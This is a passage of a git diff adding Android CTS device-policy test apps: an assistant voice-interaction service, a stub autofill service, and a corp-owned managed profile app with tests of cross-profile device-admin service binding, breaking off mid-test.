diff --git a/hostsidetests/devicepolicy/app/Assistant/res/xml/interaction_service.xml b/hostsidetests/devicepolicy/app/Assistant/res/xml/interaction_service.xml
new file mode 100644
index 0000000..a3fe680
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/Assistant/res/xml/interaction_service.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+        android:sessionService="com.android.cts.devicepolicy.assistapp.MyInteractionSessionService"
+        android:recognitionService="com.android.cts.devicepolicy.assistapp.MyInteractionService"
+        android:settingsActivity="com.android.cts.devicepolicy.assistapp.SettingsActivity"
+        android:supportsAssist="true" />
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/MyInteractionService.java b/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/MyInteractionService.java
new file mode 100644
index 0000000..e232540
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/MyInteractionService.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.assistapp;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionService;
+import android.util.Log;
+
+import static android.service.voice.VoiceInteractionSession.SHOW_WITH_ASSIST;
+import static android.service.voice.VoiceInteractionSession.SHOW_WITH_SCREENSHOT;
+
+public class MyInteractionService extends VoiceInteractionService {
+    private static final String TAG = "DevicePolicyAssistTest";
+    private static final String ACTION_CHECK_IS_READY = "voice_interaction_service.is_ready";
+    private static final String ACTION_SHOW_SESSION = "voice_interaction_service.show_session";
+    private AssistReceiver mReceiver;
+    private boolean mReady;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mReceiver = new AssistReceiver();
+        IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(ACTION_CHECK_IS_READY);
+        intentFilter.addAction(ACTION_SHOW_SESSION);
+        registerReceiver(mReceiver, intentFilter);
+    }
+
+    @Override
+    public void onReady() {
+        super.onReady();
+        Log.d(TAG, "onReady() called");
+        mReady = true;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        Log.d(TAG, "onDestroy() called");
+        unregisterReceiver(mReceiver);
+        mReceiver = null;
+    }
+
+    private class AssistReceiver extends BroadcastReceiver {
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.d(TAG, "AssistReceiver: " + intent + " mReady: " + mReady);
+            if (ACTION_CHECK_IS_READY.equals(intent.getAction())) {
+                setResultCode(mReady ? Activity.RESULT_OK : Activity.RESULT_CANCELED);
+            } else if (ACTION_SHOW_SESSION.equals(intent.getAction())) {
+                showSession(
+                        new Bundle(),
+                        SHOW_WITH_ASSIST | SHOW_WITH_SCREENSHOT);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/MyInteractionSessionService.java b/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/MyInteractionSessionService.java
new file mode 100644
index 0000000..5eae4f7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/MyInteractionSessionService.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy.assistapp;
+
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionSession;
+import android.service.voice.VoiceInteractionSessionService;
+import android.util.Log;
+
+public class MyInteractionSessionService extends VoiceInteractionSessionService {
+    private static final String TAG = "DevicePolicyAssistTest";
+    private static final String ACTION_HANDLE_SCREENSHOT =
+            "voice_interaction_session_service.handle_screenshot";
+    private static final String KEY_HAS_SCREENSHOT = "has_screenshot";
+
+    @Override
+    public VoiceInteractionSession onNewSession(Bundle args) {
+        return new MainInteractionSession(this);
+    }
+
+    public static class MainInteractionSession extends VoiceInteractionSession {
+
+        public MainInteractionSession(Context context) {
+            super(context);
+        }
+
+        @Override
+        public void onHandleScreenshot(Bitmap screenshot) {
+            Log.d(TAG, "onHandleScreenshot() called with: screenshot = [" + screenshot + "]");
+            Intent intent = new Intent(ACTION_HANDLE_SCREENSHOT);
+            intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+            intent.putExtra(KEY_HAS_SCREENSHOT, screenshot != null);
+            getContext().sendBroadcast(intent);
+            finish();
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/SettingsActivity.java b/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/SettingsActivity.java
new file mode 100644
index 0000000..1f6d34f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/Assistant/src/com/android/cts/devicepolicy/assistapp/SettingsActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.assistapp;
+
+import android.app.Activity;
+
+public class SettingsActivity extends Activity {
+}
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
new file mode 100644
index 0000000..aa9cfa1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDevicePolicyAutofillApp
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
new file mode 100644
index 0000000..cf6b6e8
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.devicepolicy.autofillapp" >
+
+    <application>
+        <activity android:name=".SimpleActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".SimpleAutofillService"
+            android:permission="android.permission.BIND_AUTOFILL" >
+            <intent-filter>
+                <action android:name="android.service.autofill.AutofillService" />
+            </intent-filter>
+        </service>
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/src/com/android/cts/devicepolicy/autofillapp/SimpleActivity.java b/hostsidetests/devicepolicy/app/AutofillApp/src/com/android/cts/devicepolicy/autofillapp/SimpleActivity.java
new file mode 100644
index 0000000..888dc20
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AutofillApp/src/com/android/cts/devicepolicy/autofillapp/SimpleActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy.autofillapp;
+
+import android.app.Activity;
+import android.view.autofill.AutofillManager;
+
+public class SimpleActivity extends Activity {
+
+    @Override
+    public void onStart() {
+        super.onStart();
+        final boolean enabled = getSystemService(AutofillManager.class).isEnabled();
+        setResult(enabled ? 1 : 0);
+        finish();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/src/com/android/cts/devicepolicy/autofillapp/SimpleAutofillService.java b/hostsidetests/devicepolicy/app/AutofillApp/src/com/android/cts/devicepolicy/autofillapp/SimpleAutofillService.java
new file mode 100644
index 0000000..594aa87
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AutofillApp/src/com/android/cts/devicepolicy/autofillapp/SimpleAutofillService.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy.autofillapp;
+
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+
+public class SimpleAutofillService extends AutofillService {
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        callback.onSuccess(null);
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        callback.onSuccess();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/src/com/android/cts/contactdirectoryprovider/DirectoryProvider.java b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/src/com/android/cts/contactdirectoryprovider/DirectoryProvider.java
index b57a91a..9131304 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/src/com/android/cts/contactdirectoryprovider/DirectoryProvider.java
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/src/com/android/cts/contactdirectoryprovider/DirectoryProvider.java
@@ -33,6 +33,7 @@
 import android.os.ParcelFileDescriptor;
 import android.provider.ContactsContract.Contacts;
 import android.provider.ContactsContract.Directory;
+import android.util.Log;
 
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -42,6 +43,7 @@
 import java.util.concurrent.TimeUnit;
 
 public class DirectoryProvider extends ContentProvider {
+    private static final String TAG = "DirectoryProvider";
     private static final String CONFIG_NAME = "config";
     private static final String SET_CUSTOM_PREFIX = "set_prefix";
     private static final String AUTHORITY = "com.android.cts.contact.directory.provider";
@@ -113,6 +115,7 @@
                 final MatrixCursor cursor = new MatrixCursor(projection);
                 final AccountManager am = getContext().getSystemService(AccountManager.class);
                 Account[] accounts = am.getAccountsByType(TEST_ACCOUNT_TYPE);
+                Log.i(TAG, "Query GAL directories account size: " + accounts.length);
                 if (accounts != null) {
                     for (Account account : accounts) {
                         final Object[] row = new Object[projection.length];
@@ -145,6 +148,14 @@
             case GAL_PHONE_LOOKUP:
             case GAL_CALLABLES_FILTER:
             case GAL_EMAIL_LOOKUP: {
+                // This parameter must always exist, and set to the device side app package name.
+                final String callerPackage = uri.getQueryParameter(
+                        Directory.CALLER_PACKAGE_PARAM_KEY);
+                if (!"com.android.cts.managedprofile".equals(callerPackage)) {
+                    throw new RuntimeException("Expected caller package name not set: uri="
+                            + uri);
+                }
+
                 // TODO: Add all CTS tests for these APIs
                 final MatrixCursor cursor = new MatrixCursor(projection);
                 final Object[] row = new Object[projection.length];
@@ -197,6 +208,7 @@
         // Set custom display name, so primary directory and corp directory will have different
         // display name
         if (method.equals(SET_CUSTOM_PREFIX)) {
+            Log.i(TAG, "Set directory name prefix: " + arg);
             mSharedPrefs.edit().putString(SET_CUSTOM_PREFIX, arg).apply();
             // Force update the content in CP2
             final long token = Binder.clearCallingIdentity();
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
new file mode 100644
index 0000000..c24858d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -0,0 +1,71 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# IMPORTANT: We build two apps from the same source but with different package name.
+# This allow us to have different device owner and profile owner, some APIs may behave differently
+# in this situation.
+
+# === App 1 ===
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCorpOwnedManagedProfile
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+                   $(call all-Iaidl-files-under, src)
+
+LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
+
+# === App 2 ===
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCorpOwnedManagedProfile2
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+                   $(call all-Iaidl-files-under, src)
+
+LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.comp2 \
+                    --rename-instrumentation-target-package com.android.cts.comp2
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
new file mode 100644
index 0000000..820f1be
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.comp" >
+    <!-- package="com.android.cts.comp2"
+         We have com.android.cts.comp2 that have the exact same source but with different package
+         name, see Android.mk for details. -->
+    <application
+        android:testOnly="true">
+
+        <uses-library android:name="android.test.runner" />
+        <receiver
+                android:name="com.android.cts.comp.AdminReceiver"
+                android:exported="true"
+                android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data
+                    android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+                <action android:name="android.app.action.PROFILE_PROVISIONING_COMPLETE"/>
+            </intent-filter>
+        </receiver>
+        <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
+
+        <service android:name=".ProtectedCrossUserService"
+                android:exported="true"
+                android:permission="android.permission.BIND_DEVICE_ADMIN">
+        </service>
+
+        <service android:name=".UnprotectedCrossUserService"
+                android:exported="true">
+        </service>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.comp"
+            android:label="Corp owned managed profile CTS tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/res/xml/device_admin.xml
new file mode 100644
index 0000000..2b19ff6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/res/xml/device_admin.xml
@@ -0,0 +1,5 @@
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+    <uses-policies>
+        <wipe-data/>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/AdminReceiver.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/AdminReceiver.java
new file mode 100644
index 0000000..bf18ebb
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/AdminReceiver.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class AdminReceiver extends DeviceAdminReceiver {
+    private static final String TAG = "AdminReceiver";
+    // These two apps are built with this source.
+    public static final String COMP_DPC_PACKAGE_NAME = "com.android.cts.comp";
+    public static final String COMP_DPC_2_PACKAGE_NAME = "com.android.cts.comp2";
+
+    public static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, AdminReceiver.class);
+    }
+
+    @Override
+    public void onProfileProvisioningComplete(Context context, Intent intent) {
+        super.onProfileProvisioningComplete(context, intent);
+        Log.i(TAG, "onProfileProvisioningComplete");
+        // Enabled profile
+        getManager(context).setProfileEnabled(getComponentName(context));
+        getManager(context).setProfileName(getComponentName(context), "Corp owned Managed Profile");
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/BindDeviceAdminServiceFailsTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/BindDeviceAdminServiceFailsTest.java
new file mode 100644
index 0000000..319d7ec
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/BindDeviceAdminServiceFailsTest.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.comp;
+
+import static junit.framework.Assert.fail;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.UserHandle;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+import java.util.List;
+
+/**
+ * Test class called when binding to a service across users should not work for some reason.
+ */
+public class BindDeviceAdminServiceFailsTest extends AndroidTestCase {
+
+    private DevicePolicyManager mDpm;
+
+    private static final ServiceConnection EMPTY_SERVICE_CONNECTION = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {}
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {}
+    };
+
+    @Override
+    public void setUp() {
+        mDpm = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+    }
+
+    public void testNoBindDeviceAdminTargetUsers() {
+        List<UserHandle> allowedTargetUsers = mDpm.getBindDeviceAdminTargetUsers(
+                AdminReceiver.getComponentName(mContext));
+        assertEquals(0, allowedTargetUsers.size());
+    }
+
+    public void testCannotBind() throws Exception {
+        UserHandle otherProfile = Utils.getOtherProfile(mContext);
+        if (otherProfile != null) {
+            checkCannotBind(AdminReceiver.COMP_DPC_PACKAGE_NAME, otherProfile);
+            checkCannotBind(AdminReceiver.COMP_DPC_2_PACKAGE_NAME, otherProfile);
+        }
+    }
+
+    private void checkCannotBind(String targetPackageName, UserHandle otherProfile) {
+        try {
+            final Intent serviceIntent = new Intent();
+            serviceIntent.setClassName(targetPackageName, ProtectedCrossUserService.class.getName());
+            bind(serviceIntent, EMPTY_SERVICE_CONNECTION, otherProfile);
+            fail("SecurityException should be thrown");
+        } catch (SecurityException ex) {
+            MoreAsserts.assertContainsRegex(
+                    "Not allowed to bind to target user id", ex.getMessage());
+        }
+    }
+
+    private boolean bind(Intent serviceIntent, ServiceConnection serviceConnection,
+            UserHandle userHandle) {
+        return mDpm.bindDeviceAdminServiceAsUser(AdminReceiver.getComponentName(mContext),
+                serviceIntent, serviceConnection, Context.BIND_AUTO_CREATE, userHandle);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/BindDeviceAdminServiceGoodSetupTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/BindDeviceAdminServiceGoodSetupTest.java
new file mode 100644
index 0000000..e7386cd
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/BindDeviceAdminServiceGoodSetupTest.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.comp;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Looper;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Testing various scenarios when a profile owner / device owner tries to bind a service
+ * in the other profile, and everything is setup correctly.
+ */
+public class BindDeviceAdminServiceGoodSetupTest extends AndroidTestCase {
+
+    private static final String TAG = "BindDeviceAdminTest";
+
+    private static final String NON_MANAGING_PACKAGE = AdminReceiver.COMP_DPC_2_PACKAGE_NAME;
+    private static final ServiceConnection EMPTY_SERVICE_CONNECTION = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {}
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {}
+    };
+    private static final IInterface NOT_IN_MAIN_THREAD_POISON_PILL = () -> null;
+
+    private DevicePolicyManager mDpm;
+    private List<UserHandle> mTargetUsers;
+
+    @Override
+    public void setUp() {
+        mDpm = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        assertEquals(AdminReceiver.COMP_DPC_PACKAGE_NAME, mContext.getPackageName());
+
+        mTargetUsers = mDpm.getBindDeviceAdminTargetUsers(AdminReceiver.getComponentName(mContext));
+        assertTrue("No target users found", mTargetUsers.size() > 0);
+    }
+
+    public void testOnlyDeviceOwnerCanHaveMoreThanOneTargetUser() {
+        if (!mDpm.isDeviceOwnerApp(AdminReceiver.getComponentName(mContext).getPackageName())) {
+            assertEquals(1, mTargetUsers.size());
+        }
+    }
+
+    /**
+     * If the intent is implicit, expected to throw {@link IllegalArgumentException}.
+     */
+    public void testCannotBind_implicitIntent() throws Exception {
+        final Intent implicitIntent = new Intent(Intent.ACTION_VIEW);
+        for (UserHandle targetUser : mTargetUsers) {
+            try {
+                bind(implicitIntent, EMPTY_SERVICE_CONNECTION, targetUser);
+                fail("IllegalArgumentException should be thrown for target user " + targetUser);
+            } catch (IllegalArgumentException ex) {
+                MoreAsserts.assertContainsRegex("Service intent must be explicit", ex.getMessage());
+            }
+        }
+    }
+
+    /**
+     * If the intent is not resolvable, it should return {@code null}.
+     */
+    public void testCannotBind_notResolvableIntent() throws Exception {
+        final Intent notResolvableIntent = new Intent();
+        notResolvableIntent.setClassName(mContext, "NotExistService");
+        for (UserHandle targetUser : mTargetUsers) {
+            assertFalse("Should not be allowed to bind to target user " + targetUser,
+                    bind(notResolvableIntent, EMPTY_SERVICE_CONNECTION, targetUser));
+        }
+    }
+
+    /**
+     * Make sure we cannot bind unprotected service.
+     */
+    public void testCannotBind_unprotectedCrossUserService() throws Exception {
+        final Intent serviceIntent = new Intent(mContext, UnprotectedCrossUserService.class);
+        for (UserHandle targetUser : mTargetUsers) {
+            try {
+                bind(serviceIntent, EMPTY_SERVICE_CONNECTION, targetUser);
+                fail("SecurityException should be thrown for target user " + targetUser);
+            } catch (SecurityException ex) {
+                MoreAsserts.assertContainsRegex(
